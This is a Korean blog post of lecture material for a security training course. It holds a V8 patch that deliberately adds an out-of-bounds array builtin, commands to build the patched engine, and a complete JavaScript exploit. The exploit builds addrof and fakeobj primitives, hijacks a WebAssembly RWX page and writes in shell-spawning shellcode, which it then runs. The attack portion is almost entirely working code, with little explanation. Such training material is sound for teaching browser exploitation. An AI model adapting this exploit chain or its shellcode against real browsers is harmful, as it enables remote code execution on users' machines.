bob 8기 특강 자료

note for bob 8th

Posted by NextLine on August 9, 2019

BoB 8기 특강 자료

oob.diff

wget http://lordofpwn.kr:8000/youngjoo/bob8/oob.diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();

     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

build

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH:/path/to/depot_tools"
fetch v8
cd v8
build/install-build-deps.sh
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply ../oob.diff
gclient sync
./tools/dev/gm.py x64.release

exploit

function gc() {
    for (let i = 0; i < 0x10; i++) {
        new ArrayBuffer(0x1000000);
    }
}

let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(d) {
	let val = d2u(d);
	return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16));
}
gc();

let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05];
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let arr1 = [1.1];
let arr2 = [{}].slice();

arr1Map = arr1.oob();
arr2Map = arr2.oob();

let addrof = function(obj) {
	arr2[0] = obj;
	arr2.oob(arr1Map);
	var leak = arr2[0];
	arr2.oob(arr2Map);
	return leak;
}

let fakeobj = function(addr) {
	arr1[0] = addr;
	arr1.oob(arr2Map);
	var obj = arr1[0];
	arr1.oob(arr1Map);
	return obj;
}

let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);
print("array buffer : " + hex(abAddr));

let wasmObj = addrof(f) - u2d(0x180,0);
var fake = [
	arr1Map, 0,
	wasmObj, u2d(0,0x8)
].slice();
var fakeAddr = addrof(fake) - u2d(0x20,0);
print("fake_addr : " + hex(fakeAddr));
var target = fakeobj(fakeAddr);

let rwx = target[0];
print("rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;

let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
	dv.setUint32(i*4, shellcode[i]);
}
f();